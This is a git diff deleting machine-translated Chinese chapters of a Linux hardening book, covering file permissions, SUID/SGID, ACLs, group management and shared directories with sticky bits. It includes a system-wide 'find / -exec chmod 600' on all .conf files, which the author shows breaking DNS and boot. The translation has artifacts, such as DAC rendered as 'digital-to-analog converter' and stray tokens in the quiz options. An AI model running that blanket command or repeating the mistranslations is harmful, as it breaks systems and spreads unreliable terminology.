顾问。与普通服务器相比,使用物联网设备时,您要担心的事情要多一些。普通服务器受到高度物理安全的保护,而物联网设备通常几乎没有物理安全。你可能在整个信息技术生涯中都没有真正见过服务器,除非你是少数几个被授权进入服务器机房的人之一。相反,物联网设备通常是公开的。 - -我合作的物联网安全公司有一套指导方针,有助于加固物联网设备,抵御威胁和攻击。其中之一就是保证设备上的所有配置文件都设置了`600`权限设置。这意味着只有文件的所有者——通常是根用户或系统帐户——才能读取它们。但是,有很多配置文件,您需要一种简单的方法来更改设置。你可以和我们值得信赖的朋友一起做,我们称之为`find`工具。你可以这样做: - -```sh - sudo find / -iname '*.conf' -exec chmod 600 {} \; -``` - -细分如下: - -* `sudo find / -iname '*.conf'`:这正是你所期望的。它在整个根文件系统(`/`)中对所有扩展名为`.conf`的文件执行不区分大小写的搜索。您可能会查找的其他文件扩展名包括`.ini`和`.cfg`。另外,因为`find`本身是递归的,所以您不必提供选项开关来让它搜索所有较低级别的目录。 -* `-exec`:这就是表演魔术的地方。它会在`find`找到的每个文件上自动执行以下命令,而不会提示用户。如果您想对`find`找到的每个文件回答是或否,请使用`-ok`而不是`-exec`。 -* `chmod 600 {} \;` : `chmod 600`是我们要执行的命令。当`find`找到每个文件时,它的文件名被放在一对花括号(`{}`)内。每个`-exec`子句都必须以分号结尾。为了防止 Bash shell 错误地解释分号,我们必须用反斜杠对其进行转义。 - -如果你决定这样做,彻底测试东西,以确保你没有打破任何东西。大多数情况下,将它们的配置文件设置为`600`权限设置就可以了,但有些则不行。我刚刚在我的一台虚拟机上执行了此命令。让我们看看当我尝试 ping 一个互联网站点时会发生什么: - -```sh -[donnie@donnie-ca ~]$ ping www.civicsandpolitics.com -ping: www.civicsandpolitics.com: Name or service not known -[donnie@donnie-ca ~]$ -``` - -这看起来很糟糕,但解释很简单。只是为了能上网,机器必须能找到一个 DNS 服务器。DNS 服务器信息可以在`/etc/resolv.conf`文件中找到,我刚刚删除了其他人的读取权限。没有其他人的读取权限,只有具有超级用户权限的人才能访问互联网。因此,除非您想限制具有 root 或 sudo 权限的用户访问互联网,否则您需要将`resolv.conf`权限设置更改回`644`: - -```sh -[donnie@donnie-ca etc]$ ls -l resolv.conf --rw-------. 1 root root 66 Sep 23 14:22 resolv.conf - -[donnie@donnie-ca etc]$ sudo chmod 644 resolv.conf -[donnie@donnie-ca etc]$ -``` - -好吧,让我们再试一次: - -```sh -[donnie@donnie-ca etc]$ ping www.civicsandpolitics.com -PING www.civicsandpolitics.com (64.71.34.94) 56(84) bytes of data. -64 bytes from 64.71.34.94: icmp_seq=1 ttl=51 time=52.1 ms -64 bytes from 64.71.34.94: icmp_seq=2 ttl=51 time=51.8 ms -64 bytes from 64.71.34.94: icmp_seq=3 ttl=51 time=51.2 ms -^C ---- www.civicsandpolitics.com ping statistics --- -3 packets transmitted, 3 received, 0% packet loss, time 2002ms -rtt min/avg/max/mdev = 51.256/51.751/52.176/0.421 ms -[donnie@donnie-ca etc]$ -``` - -看起来好多了。现在,让我们重新启动机器。当您这样做时,您将获得以下输出: - -![](img/06ba9c76-176b-44c4-ab65-995836affe7b.png) - -所以,我还需要将`/etc/locale.conf`文件设置回`644`权限设置,机器才能正常开机。正如我之前提到的,如果您选择在配置文件上设置更严格的权限,请务必测试所有内容。 - -正如我已经说过的,您可能并不总是觉得有必要从默认设置中更改配置文件的权限。但是如果你真的觉得有必要,你现在知道怎么做了。 - -You definitely want to make friends with the `find` utility. It's useful both on the command line and within shell scripts, and it's extremely flexible. The man page for it is very well-written, and you can learn just about everything you need to know about `find` from it. To see it, just use the `man find` command. - -Once you get used to `find`, you'll never want to use any of those fancy GUI-type search utilities again. - -好了——我想这就结束了这一章的内容。 - -# 摘要 - -在本章中,我们回顾了设置文件和目录的所有权和权限的基础知识。然后,我们介绍了 SUID 和 SGID 在正确使用时可以为我们做些什么,以及将它们设置在我们自己的可执行文件上的风险。在查看了处理文件安全的两个扩展文件属性后,我们总结出一个方便、省时的技巧,用于从系统配置文件中删除世界可读的权限。 - -在下一章中,我们将把在这里学到的内容扩展到更高级的文件和目录访问技术。到时候见。 - -# 问题 - -1. 下列哪个分区装载选项会阻止对文件设置 SUID 和 SGID 权限? - a .`nosgid`T5】b .`noexec`T6】c .`nosuid`T7】d .``nouser`T8】` - -2. 以下哪一项表示文件对用户和组具有读写权限,对其他人具有只读权限? - a .`775`T5】b .`554`T6】c .`660`T7】d .`664` -3. 您要将`somefile.txt`文件的所有权和组关联更改为 Maggie。以下哪个命令可以做到这一点? - a .`sudo chown maggie somefile.txt` - b .`sudo chown :maggie somefile.txt` - c .`sudo chown maggie: somefile.txt` - d .`sudo chown :maggie: somefile.txt` -4. 以下哪一项是 SGID 许可的数值? - a .`6000`T5】b .`2000`T6】c .`4000`T7】d .`1000` -5. 您会使用哪个命令来查看文件的扩展属性? - a .`lsattr`T5】b .`ls -a`T6】c .`ls -l`T7】d .`chattr` -6. 以下哪个命令可以在整个文件系统中搜索具有 SUID 或 SGID 权限集的常规文件? - a .`sudo find / -type f  -perm \6000`T5】b .`sudo find / \( -perm -4000 -o -perm -2000 \)`T6】c .`sudo find / -type f -perm -6000`T7】d .`sudo find / -type r -perm \6000` -7. 以下哪个陈述是正确的? - A .使用符号方法设置权限是所有情况下最好的方法。 - B .使用符号方法设置权限是 shell 脚本中最好使用的方法。 - C .使用数值方法设置权限是在 shell 脚本中使用的最佳方法。 - D .用哪种方法设置权限并不重要。 - -8. 下列哪个命令可以对具有用户和组读/写/执行权限以及其他人读/执行权限的文件设置 SUID 权限? - a .`sudo chmod 2775 somefile`T5】b .`sudo chown 2775 somefile`T6】c .`sudo chmod 1775 somefile`T7】d .`sudo chmod 4775 somefile` -9. 通过对可执行文件设置 SUID 权限,可以实现以下哪个功能? - 答:它允许任何用户使用该文件。 - B .防止文件意外擦除。 - C .它允许“其他人”拥有与文件“用户”相同的权限。 - D .它允许“其他人”拥有与文件关联的组相同的权限。 -10. 为什么用户不应该在自己的常规文件上设置 SUID 或 SGID 权限? - A .它不必要地占用了更多的硬盘空间。 - B .如果需要,它可以防止有人删除文件。 - C .它可以允许某人修改文件。 - D .它可能允许入侵者危害系统。 -11. 以下哪个`find`命令选项允许您在`find`找到的每个文件上自动执行命令,而无需提示? - a .`-exec`T7】b .`-ok`T8】c .`-xargs`T9】d .`-do` -12. 对/错:为了最好的安全性,请始终对系统上的每个`.conf`文件使用`600`权限设置。 - 真 - 假 -13. 以下哪一项是正确的陈述? - 答:通过使用`nosuid`选项挂载`/`分区,防止用户在文件上设置 SUID。 - B .您必须在某些系统文件上设置 SUID 权限,操作系统才能正常运行。 - C .可执行文件绝不能设置 SUID 权限。 - D .可执行文件应始终具有 SUID 权限集。 - -14. 以下哪两项是配置文件的安全问题? - A .使用默认配置,任何具有命令行访问权限的普通用户都可以编辑配置文件。 - B .某些配置文件可能包含敏感信息。 - C .使用默认配置,任何具有命令行访问权限的普通用户都可以查看配置文件。 - D .服务器上的配置文件比物联网设备上的配置文件需要更多的保护。 - -# 进一步阅读 - -* 如何在 linux 中找到具有 SUID 和 SGID 权限的文件:[https://www . tec mint . com/如何在 Linux 中找到具有 suid 和 sgid 权限的文件/](https://www.tecmint.com/how-to-find-files-with-suid-and-sgid-permissions-in-linux/) -* Linux `find`命令:[https://youtu.be/tCemsQ_ZjQ0](https://youtu.be/tCemsQ_ZjQ0) -* Linux 和 Unix 文件权限:[https://youtu.be/K9FEz20Zhmc](https://youtu.be/K9FEz20Zhmc) -* Linux 文件权限:[https://www . Linux . com/教程/理解-Linux-文件-权限/](https://www.linux.com/tutorials/understanding-linux-file-permissions/) -* Linux `find`命令的 25 个简单例子:[https://www.binarytides.com/linux-find-command-examples/](https://www.binarytides.com/linux-find-command-examples/) -* Linux `find`命令的 35 个实例:[https://www . tec mint . com/35-Linux 实用实例-find-command/](https://www.tecmint.com/35-practical-examples-of-linux-find-command/) -* VDOO 物联网安全(我的客户):[https://www.vdoo.com/](https://www.vdoo.com/) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/08.md b/docs/master-linux-sec-hard/08.md deleted file mode 100644 index 6a63a2c6..00000000 --- a/docs/master-linux-sec-hard/08.md +++ /dev/null @@ -1,795 +0,0 @@ -# 八、访问控制列表和共享目录管理 - -在前一章中,我们回顾了**自主访问控制** ( **数模转换器**)的基础知识。普通的 Linux 文件和目录权限设置不是很精细。有了**访问控制列表** ( **ACL** ),我们可以只允许某个人访问一个文件,也可以允许多人访问一个文件,每个人的权限不同。我们将把我们所学的知识放在一起,以便为一个组管理一个共享目录。 - -本章的主题包括以下内容: - -* 为用户或组创建 ACL -* 为目录创建继承的 ACL -* 使用 ACL 掩码删除特定权限 -* 使用`tar --acls`选项防止备份过程中 ACL 丢失 -* 创建用户组并向其添加成员 -* 为组创建共享目录,并对其设置适当的权限 -* 在共享目录上设置 SGID 位和粘性位 -* 使用 ACL 只允许组中的特定成员访问共享目录中的文件 - -# 为用户或组创建 ACL - -正常的 Linux 文件和目录权限设置是可以的,但是它们不是很精细。有了 ACL,我们可以只允许某个人访问一个文件或目录,也可以允许多人以每个人不同的权限访问一个文件或目录。如果我们有一个对所有人都开放的文件或目录,我们可以使用 ACL 来允许对一个组或个人进行不同级别的访问。在这一章的最后,我们将把我们所学的东西放在一起,以便为一个组管理一个共享目录。 - -您可以使用`getfacl`来查看文件或目录的 ACL。(请注意,您不能使用它们一次查看目录中的所有文件。)首先,让我们使用`getfacl`来查看我们是否已经在`acl_demo.txt`文件上设置了任何 ACL: - -```sh -[donnie@localhost ~]$ touch acl_demo.txt - -[donnie@localhost ~]$ getfacl acl_demo.txt -# file: acl_demo.txt -# owner: donnie -# group: donnie -user::rw- -group::rw- -other::r-- - -[donnie@localhost ~]$ -``` - -我们在这里看到的只是正常的权限设置,所以没有 ACL。 - -设置 ACL 的第一步是删除除文件用户之外的所有人的所有权限。这是因为默认权限设置允许组成员拥有读/写权限,而其他成员拥有读权限。因此,在不删除这些权限的情况下设置 ACL 是相当愚蠢的: - -```sh -[donnie@localhost ~]$ chmod 600 acl_demo.txt - -[donnie@localhost ~]$ ls -l acl_demo.txt --rw-------. 1 donnie donnie 0 Nov 9 14:37 acl_demo.txt -[donnie@localhost ~]$ -``` - -使用`setfacl`设置 ACL 时,可以允许用户或组拥有读、写或执行权限的任意组合。在我们的例子中,假设我想让 Maggie 读取文件,并阻止她拥有写或执行权限: - -```sh -[donnie@localhost ~]$ setfacl -m u:maggie:r acl_demo.txt - -[donnie@localhost ~]$ getfacl acl_demo.txt -# file: acl_demo.txt -# owner: donnie -# group: donnie -user::rw- -user:maggie:r-- -group::--- -mask::r-- -other::--- - -[donnie@localhost ~]$ ls -l acl_demo.txt --rw-r-----+ 1 donnie donnie 0 Nov 9 14:37 acl_demo.txt -[donnie@localhost ~]$ -``` - -`setfacl`的`-m`选项意味着我们将要修改 ACL。(嗯,这种情况下要*创建*一个,不过没关系。)`u:`意味着我们正在为用户设置 ACL。然后,我们列出用户名,后跟另一个冒号,以及我们要授予该用户的权限列表。在这种情况下,我们只允许 Maggie 读取访问。我们通过列出要应用此 ACL 的文件来完成该命令。`getfacl`输出显示玛吉确实有读取权限。最后,我们在`ls -l`输出中看到该组被列为具有读取权限,尽管我们已经在该文件上设置了`600`权限设置。但是,还有一个`+`标志,告诉我们文件有 ACL。当我们设置一个 ACL 时,ACL 的权限在`ls -l`中显示为组权限。 - -为了更进一步,假设我希望 Frank 对该文件具有读/写权限: - -```sh -[donnie@localhost ~]$ setfacl -m u:frank:rw acl_demo.txt - -[donnie@localhost ~]$ getfacl acl_demo.txt -# file: acl_demo.txt -# owner: donnie -# group: donnie -user::rw- -user:maggie:r-- -user:frank:rw- -group::--- -mask::rw- -other::--- - -[donnie@localhost ~]$ ls -l acl_demo.txt --rw-rw----+ 1 donnie donnie 0 Nov 9 14:37 acl_demo.txt -[donnie@localhost ~]$ -``` - -因此,我们可以将两个或更多不同的 ACL 分配给同一个文件。在`ls -l`输出中,我们看到我们为该组设置了`rw`权限,这实际上只是我们在两个 ACL 中设置的权限的汇总。 - -我们可以通过将`u:`替换为`g:`来设置组访问的 ACL: - -```sh -[donnie@localhost ~]$ getfacl new_file.txt -# file: new_file.txt -# owner: donnie -# group: donnie -user::rw- -group::rw- -other::r-- - -[donnie@localhost ~]$ chmod 600 new_file.txt - -[donnie@localhost ~]$ setfacl -m g:accounting:r new_file.txt - -[donnie@localhost ~]$ getfacl new_file.txt -# file: new_file.txt -# owner: donnie -# group: donnie -user::rw- -group::--- -group:accounting:r-- -mask::r-- -other::--- - -[donnie@localhost ~]$ ls -l new_file.txt --rw-r-----+ 1 donnie donnie 0 Nov 9 15:06 new_file.txt -[donnie@localhost ~]$ -``` - -`accounting`组的成员现在可以读取该文件。 - -# 为目录创建继承的 ACL - -有时,您可能希望在共享目录中创建的所有文件都具有相同的 ACL。我们可以通过对目录应用继承的 ACL 来做到这一点。尽管,请理解,尽管这听起来是一个很酷的想法,但以正常方式创建文件将导致文件具有为该组设置的读/写权限,以及为其他人设置的读权限。因此,如果您要为一个用户通常只创建文件的目录设置这个权限,您最好希望创建一个 ACL,为某人添加写或执行权限。要么这样,要么确保用户在他们创建的所有文件上设置`600`权限设置,假设用户确实需要限制对其文件的访问。 - -另一方面,如果您正在创建一个在特定目录中创建文件的 shell 脚本,您可以包含`chmod`命令,以确保创建的文件具有使您的 ACL 按预期工作所必需的限制性权限。 - -为了演示,让我们创建`new_perm_dir`目录,并在上面设置继承的 ACL。我希望对我的 shell 脚本在此目录中创建的文件拥有读/写权限,并且希望 Frank 只有读权限。我不希望其他任何人能够读取这些文件: - -```sh -[donnie@localhost ~]$ setfacl -m d:u:frank:r new_perm_dir - -[donnie@localhost ~]$ ls -ld new_perm_dir -drwxrwxr-x+ 2 donnie donnie 26 Nov 12 13:16 new_perm_dir -[donnie@localhost ~]$ getfacl new_perm_dir -# file: new_perm_dir -# owner: donnie -# group: donnie -user::rwx -group::rwx -other::r-x -default:user::rwx -default:user:frank:r-- -default:group::rwx -default:mask::rwx -default:other::r-x - -[donnie@localhost ~]$ - -``` - -我所要做的就是在`u:frank`之前添加`d:`来使其成为一个继承的 ACL。我在目录上保留了默认权限设置,允许每个人对目录进行读取访问。接下来,我将创建`donnie_script.sh` shell 脚本,该脚本将在该目录下创建一个文件,并将只为新文件的用户设置读/写权限: - -```sh -#!/bin/bash -cd new_perm_dir -touch new_file.txt -chmod 600 new_file.txt -exit -``` - -在使脚本可执行后,我将运行它并查看结果: - -```sh -[donnie@localhost ~]$ ./donnie_script.sh - -[donnie@localhost ~]$ cd new_perm_dir - -[donnie@localhost new_perm_dir]$ ls -l -total 0 --rw-------+ 1 donnie donnie 0 Nov 12 13:16 new_file.txt -[donnie@localhost new_perm_dir]$ getfacl new_file.txt -# file: new_file.txt -# owner: donnie -# group: donnie -user::rw- -user:frank:r-- #effective:--- -group::rwx #effective:--- -mask::--- -other::--- - -[donnie@localhost new_perm_dir]$ -``` - -因此,`new_file.txt`是用正确的权限设置和允许 Frank 读取的 ACL 创建的。(我知道这是一个非常简单的例子,但是你明白了。) - -# 使用 ACL 掩码删除特定权限 - -您可以使用`-x`选项从文件或目录中删除 ACL。让我们回到我之前创建的`acl_demo.txt`文件,并删除玛吉的 ACL: - -```sh -[donnie@localhost ~]$ setfacl -x u:maggie acl_demo.txt - -[donnie@localhost ~]$ getfacl acl_demo.txt -# file: acl_demo.txt -# owner: donnie -# group: donnie -user::rw- -user:frank:rw- -group::--- -mask::rw- -other::--- - -[donnie@localhost ~]$ -``` - -所以,玛姬的 ACL 没了。但是,`-x`选项会删除整个 ACL,即使这不是您真正想要的。如果您有一个设置了多个权限的 ACL,您可能只想删除一个权限,而留下其他权限。在这里,我们看到 Frank 仍然拥有授予他读/写访问权限的 ACL。现在假设我们想要删除写权限,同时仍然允许他读权限。为此,我们需要应用一个遮罩: - -```sh -[donnie@localhost ~]$ setfacl -m m::r acl_demo.txt - -[donnie@localhost ~]$ ls -l acl_demo.txt - --rw-r-----+ 1 donnie donnie 0 Nov 9 14:37 acl_demo.txt -[donnie@localhost ~]$ getfacl acl_demo.txt -# file: acl_demo.txt -# owner: donnie -# group: donnie -user::rw- -user:frank:rw- #effective:r-- -group::--- -mask::r-- -other::--- - -[donnie@localhost ~]$ -``` - -`m::r`在 ACL 上设置只读掩码。运行`getfacl`显示 Frank 仍然有读/写 ACL,但是旁边的注释显示他的有效权限为只读。所以,弗兰克对文件的写权限现在没有了。而且,如果我们为其他用户设置了 ACL,这个掩码也会以同样的方式影响他们。 - -# 使用 tar-ACL 选项防止备份过程中 ACL 的丢失 - -如果您需要使用`tar`来创建文件或最后两个文件的备份: - -```sh -[donnie@localhost ~]$ cd perm_demo_dir -[donnie@localhost perm_demo_dir]$ ls -l -total 0 --rw-rw-r--. 1 donnie accounting 0 Nov 5 20:17 file1.txt --rw-rw-r--. 1 donnie accounting 0 Nov 5 20:17 file2.txt --rw-rw-r--. 1 donnie accounting 0 Nov 5 20:17 file3.txt --rw-rw-r--. 1 donnie accounting 0 Nov 5 20:17 file4.txt --rw-rw----+ 1 donnie donnie 0 Nov 9 15:19 frank_file.txt --rw-rw----+ 1 donnie donnie 0 Nov 12 12:29 new_file.txt -[donnie@localhost perm_demo_dir]$ -``` - -现在,我不用`--acls`做备份: - -```sh -[donnie@localhost perm_demo_dir]$ cd -[donnie@localhost ~]$ tar cJvf perm_demo_dir_backup.tar.xz perm_demo_dir/ -perm_demo_dir/ -perm_demo_dir/file1.txt -perm_demo_dir/file2.txt -perm_demo_dir/file3.txt -perm_demo_dir/file4.txt -perm_demo_dir/frank_file.txt -perm_demo_dir/new_file.txt -[donnie@localhost ~]$ -``` - -看起来不错,对吧?啊,但是外表是会骗人的。观察当我删除目录,然后从备份中恢复它时会发生什么: - -```sh -[donnie@localhost ~]$ rm -rf perm_demo_dir/ - -[donnie@localhost ~]$ tar xJvf perm_demo_dir_backup.tar.xz -perm_demo_dir/ -. . . -[donnie@localhost ~]$ cd perm_demo_dir/ -[donnie@localhost perm_demo_dir]$ ls -l -total 0 --rw-rw-r--. 1 donnie donnie 0 Nov 5 20:17 file1.txt --rw-rw-r--. 1 donnie donnie 0 Nov 5 20:17 file2.txt --rw-rw-r--. 1 donnie donnie 0 Nov 5 20:17 file3.txt --rw-rw-r--. 1 donnie donnie 0 Nov 5 20:17 file4.txt --rw-rw----. 1 donnie donnie 0 Nov 9 15:19 frank_file.txt --rw-rw----. 1 donnie donnie 0 Nov 12 12:29 new_file.txt -[donnie@localhost perm_demo_dir]$ -``` - -我甚至不需要使用`getfacl`来查看 ACL 是否从`perm_demo_dir`目录及其所有文件中消失,因为`+`标志现在已经不存在了。现在,让我们看看当我包含`--acls`选项时会发生什么。首先,我将向您展示为此目录及其唯一文件设置了 ACL: - -```sh -[donnie@localhost ~]$ ls -ld new_perm_dir -drwxrwxr-x+ 2 donnie donnie 26 Nov 13 14:01 new_perm_dir - -[donnie@localhost ~]$ ls -l new_perm_dir -total 0 --rw-------+ 1 donnie donnie 0 Nov 13 14:01 new_file.txt -[donnie@localhost ~]$ -``` - -现在,我将`.tar`与`--acls`一起使用: - -```sh -[donnie@localhost ~]$ tar cJvf new_perm_dir_backup.tar.xz new_perm_dir/ --acls -new_perm_dir/ -new_perm_dir/new_file.txt -[donnie@localhost ~]$ -``` - -我现在删除`new_perm_dir`目录,并从备份中恢复。同样,我将使用`--acls`选项: - -```sh -[donnie@localhost ~]$ rm -rf new_perm_dir/ - -[donnie@localhost ~]$ tar xJvf new_perm_dir_backup.tar.xz --acls -new_perm_dir/ -new_perm_dir/new_file.txt - -[donnie@localhost ~]$ ls -ld new_perm_dir -drwxrwxr-x+ 2 donnie donnie 26 Nov 13 14:01 new_perm_dir - -[donnie@localhost ~]$ ls -l new_perm_dir -total 0 --rw-------+ 1 donnie donnie 0 Nov 13 14:01 new_file.txt -[donnie@localhost ~]$ -``` - -`+`符号的出现表明 ACL 确实通过了备份和恢复程序。关于这一点,一个稍微棘手的部分是您必须使用`--acls`进行备份和恢复。如果您两次都忽略该选项,您将丢失 ACL。 - -# 创建用户组并向其添加成员 - -到目前为止,我一直在自己的主目录中做所有的演示,只是为了展示基本概念。但是最终的目标是向你展示如何使用这些知识来做一些更实际的事情,比如控制文件 - -假设我们想为营销部门的成员创建一个`marketing`小组,你猜对了: - -```sh -[donnie@localhost ~]$ sudo groupadd marketing -[sudo] password for donnie: -[donnie@localhost ~]$ -``` - -现在让我们添加一些成员。您可以通过三种不同的方式来做到这一点: - -* 在我们创建成员的用户帐户时添加成员。 -* 使用`usermod`添加已经有用户账号的成员。 -* 编辑`/etc/group`文件。 - -# 在我们创建成员的用户帐户时添加成员 - -首先,我们可以使用`useradd`的`-G`选项,在创建成员的用户帐户时向组中添加成员。在红帽或 CentOS 上,命令如下所示: - -```sh -[donnie@localhost ~]$ sudo useradd -G marketing cleopatra -[sudo] password for donnie: - -[donnie@localhost ~]$ groups cleopatra -cleopatra : cleopatra marketing -[donnie@localhost ~]$ -``` - -在 Debian/Ubuntu 上,该命令如下所示: - -```sh -donnie@ubuntu3:~$ sudo useradd -m -d /home/cleopatra -s /bin/bash -G marketing cleopatra - -donnie@ubuntu3:~$ groups cleopatra -cleopatra : cleopatra marketing -donnie@ubuntu3:~$ -``` - -当然,我需要以正常的方式给克利奥帕特拉分配一个密码: - -```sh -[donnie@localhost ~]$ sudo passwd cleopatra -``` - -# 使用 usermod 将现有用户添加到组中 - -好消息是,这在红帽/CentOS 或 Debian/Ubuntu 上都是一样的: - -```sh -[donnie@localhost ~]$ sudo usermod -a -G marketing maggie -[sudo] password for donnie: - -[donnie@localhost ~]$ groups maggie -maggie : maggie marketing -[donnie@localhost ~]$ -``` - -在这种情况下,`-a`是不必要的,因为玛吉不是任何其他次级群体的成员。但是,如果她已经属于另一个组,`-a`必须防止覆盖任何现有的组信息,从而将她从以前的组中删除。 - -这种方法在 Ubuntu 系统上使用特别方便,在 Ubuntu 系统中需要使用`adduser`来创建加密的主目录。(正如我们在上一章中所看到的,`adduser`在您创建帐户时没有给您机会将用户添加到组中。) - -# 通过编辑/etc/group 文件将用户添加到组中 - -最后这种方法是一种很好的作弊方式,可以加快将多个现有用户添加到一个组的过程。首先,只需在您喜欢的文本编辑器中打开`/etc/group`文件,并寻找定义您想要添加成员的组的行: - -```sh -. . . -marketing:x:1005:cleopatra,maggie -. . . -``` - -所以,我已经把克利奥帕特拉和玛吉加入了这个小组。让我们编辑它,再添加几个成员: - -```sh -. . . -marketing:x:1005:cleopatra,maggie,vicky,charlie -. . . -``` - -完成后,保存文件并退出编辑器。 - -对他们每个人的一个`groups`命令将显示我们的一点点欺骗工作正常: - -```sh -[donnie@localhost etc]$ sudo vim group - -[donnie@localhost etc]$ groups vicky -vicky : vicky marketing - -[donnie@localhost etc]$ groups charlie -charlie : charlie marketing -[donnie@localhost etc]$ -``` - -每当您需要同时向组中添加许多成员时,这种方法非常方便。 - -# 创建共享目录 - -我们场景中的下一步是创建一个共享目录,我们市场部的所有成员都可以使用。现在,这是另一个引起一些争议的领域。有些人喜欢把共享目录放在文件系统的根目录,而有些人喜欢把共享目录放在`/home`目录。有些人甚至有其他偏好。但实际上,这是个人偏好和/或公司政策的问题。除此之外,你把它们放在哪里并不重要。为了简单起见,我将在文件系统的根级别创建目录: - -```sh -[donnie@localhost ~]$ cd / - -[donnie@localhost /]$ sudo mkdir marketing -[sudo] password for donnie: - -[donnie@localhost /]$ ls -ld marketing -drwxr-xr-x. 2 root root 6 Nov 13 15:32 marketing -[donnie@localhost /]$ -``` - -新目录属于根用户。它的权限设置为`755`,允许每个人都有读取和执行权限,并且只允许根用户有写入权限。我们真正想要的是只允许市场部的成员访问这个目录。我们将首先更改所有权和组关联,然后设置适当的权限: - -```sh -[donnie@localhost /]$ sudo chown nobody:marketing marketing - -[donnie@localhost /]$ sudo chmod 770 marketing - -[donnie@localhost /]$ ls -ld marketing -drwxrwx---. 2 nobody marketing 6 Nov 13 15:32 marketing -[donnie@localhost /]$ -``` - -在这种情况下,我们没有任何一个特定的用户想要拥有这个目录,我们也不希望根用户拥有它。因此,将所有权分配给`nobody`伪用户帐户为我们提供了一种处理方法。然后,我将`770`权限值分配给目录,该目录允许所有`marketing`组成员进行读/写/执行访问,同时将其他人排除在外。现在,让我们的一个小组成员登录,看看她是否可以在这个目录中创建一个文件: - -```sh -[donnie@localhost /]$ su - vicky -Password: - -[vicky@localhost ~]$ cd /marketing - -[vicky@localhost marketing]$ touch vicky_file.txt - -[vicky@localhost marketing]$ ls -l -total 0 --rw-rw-r--. 1 vicky vicky 0 Nov 13 15:41 vicky_file.txt -[vicky@localhost marketing]$ -``` - -好吧,它起作用了——除了一个小问题。这份文件理应属于维基。但是,这也与维基的个人团体有关。为了对这些共享文件进行最好的访问控制,我们需要它们与`marketing`组相关联。 - -# 在共享目录上设置 SGID 位和粘性位 - -我以前告诉过你,在文件上设置 SUID 或 SGID 权限有点安全风险,尤其是在可执行文件上。但是将 SGID 放在一个共享目录中既完全安全又非常有用。 - -目录上的 SGID 行为与文件上的 SGID 行为完全不同。在一个目录中,SGID 将使任何人创建的任何文件与该目录关联的同一个组相关联。因此,记住 SGID 权限值是`2000`,让我们将 SGID 设置在我们的`marketing`目录中: - -```sh -[donnie@localhost /]$ sudo chmod 2770 marketing -[sudo] password for donnie: - -[donnie@localhost /]$ ls -ld marketing -drwxrws---. 2 nobody marketing 28 Nov 13 15:41 marketing -[donnie@localhost /]$ -``` - -该组可执行位置的`s`表示命令成功。现在让 Vicky 重新登录,创建另一个文件: - -```sh -[donnie@localhost /]$ su - vicky -Password: -Last login: Mon Nov 13 15:41:19 EST 2017 on pts/0 - -[vicky@localhost ~]$ cd /marketing - -[vicky@localhost marketing]$ touch vicky_file_2.txt - -[vicky@localhost marketing]$ ls -l -total 0 --rw-rw-r--. 1 vicky marketing 0 Nov 13 15:57 vicky_file_2.txt --rw-rw-r--. 1 vicky vicky 0 Nov 13 15:41 vicky_file.txt -[vicky@localhost marketing]$ -``` - -Vicky 的第二档跟`marketing`组有关联,这正是我们想要的。只是为了好玩,让查理也这么做: - -```sh -[donnie@localhost /]$ su - charlie -Password: - -[charlie@localhost ~]$ cd /marketing - -[charlie@localhost marketing]$ touch charlie_file.txt - -[charlie@localhost marketing]$ ls -l -total 0 --rw-rw-r--. 1 charlie marketing 0 Nov 13 15:59 charlie_file.txt --rw-rw-r--. 1 vicky marketing 0 Nov 13 15:57 vicky_file_2.txt --rw-rw-r--. 1 vicky vicky 0 Nov 13 15:41 vicky_file.txt -[charlie@localhost marketing]$ -``` - -同样,查理的文件与`marketing`组相关联。但是,出于一些没人理解的奇怪原因,查理真的不喜欢维基,决定删除她的文件,只是出于纯粹的恶意: - -```sh -[charlie@localhost marketing]$ rm vicky* -rm: remove write-protected regular empty file ‘vicky_file.txt’? y - -[charlie@localhost marketing]$ ls -l -total 0 --rw-rw-r--. 1 charlie marketing 0 Nov 13 15:59 charlie_file.txt -[charlie@localhost marketing]$ -``` - -系统抱怨 Vicky 的原始文件是写保护的,因为它仍然与她的个人组相关联。但是系统仍然允许查理删除它,即使没有 sudo 权限。而且,由于查理对第二个文件有写访问权,由于它与`marketing`组的关联,系统允许他毫无疑问地删除它。 - -好吧。因此,维基抱怨这一点,并试图让查理被解雇。但是我们勇敢的管理员有一个更好的主意。他会设置粘性位,以防止这种情况再次发生。由于 SGID 位的值为`2000`,粘性位的值为`1000`,我们可以将两者相加得到一个值`3000`: - -```sh -[donnie@localhost /]$ sudo chmod 3770 marketing -[sudo] password for donnie: - -[donnie@localhost /]$ ls -ld marketing -drwxrws--T. 2 nobody marketing 30 Nov 13 16:03 marketing -[donnie@localhost /]$ -``` - -其他可执行位置的`T`表示粘性位已经设置。由于`T`是大写的,我们知道还没有设置其他人的可执行权限。设置粘性位将防止组成员删除任何其他人的文件。让维姬告诉我们当她试图报复查理时会发生什么: - -```sh -[donnie@localhost /]$ su - vicky -Password: -Last login: Mon Nov 13 15:57:41 EST 2017 on pts/0 - -[vicky@localhost ~]$ cd /marketing - -[vicky@localhost marketing]$ ls -l -total 0 --rw-rw-r--. 1 charlie marketing 0 Nov 13 15:59 charlie_file.txt - -[vicky@localhost marketing]$ rm charlie_file.txt -rm: cannot remove ‘charlie_file.txt’: Operation not permitted - -[vicky@localhost marketing]$ rm -f charlie_file.txt -rm: cannot remove ‘charlie_file.txt’: Operation not permitted - -[vicky@localhost marketing]$ ls -l -total 0 --rw-rw-r--. 1 charlie marketing 0 Nov 13 15:59 charlie_file.txt -[vicky@localhost marketing]$ -``` - -即使使用`-f`选项,Vicky 仍然不能删除查理的文件。Vicky 在这个系统上没有`sudo`特权,所以她尝试一下也没用。 - -# 使用 ACL 访问共享目录中的文件 - -就目前的情况来看,`marketing`组的所有成员对所有其他组成员的文件都有读/写权限。将对文件的访问权限限制为特定的组成员是我们已经介绍过的相同的两步过程。 - -# 设置权限和创建 ACL - -首先,Vicky 将正常权限设置为 - -```sh -[vicky@localhost marketing]$ echo "This file is only for my good friend, Cleopatra." > vicky_file.txt - -[vicky@localhost marketing]$ chmod 600 vicky_file.txt - -[vicky@localhost marketing]$ setfacl -m u:cleopatra:r vicky_file.txt - -[vicky@localhost marketing]$ ls -l -total 4 --rw-rw-r--. 1 charlie marketing 0 Nov 13 15:59 charlie_file.txt --rw-r-----+ 1 vicky marketing 49 Nov 13 16:24 vicky_file.txt - -[vicky@localhost marketing]$ getfacl vicky_file.txt -# file: vicky_file.txt -# owner: vicky -# group: marketing -user::rw- -user:cleopatra:r-- -group::--- -mask::r-- -other::--- - -[vicky@localhost marketing]$ -``` - 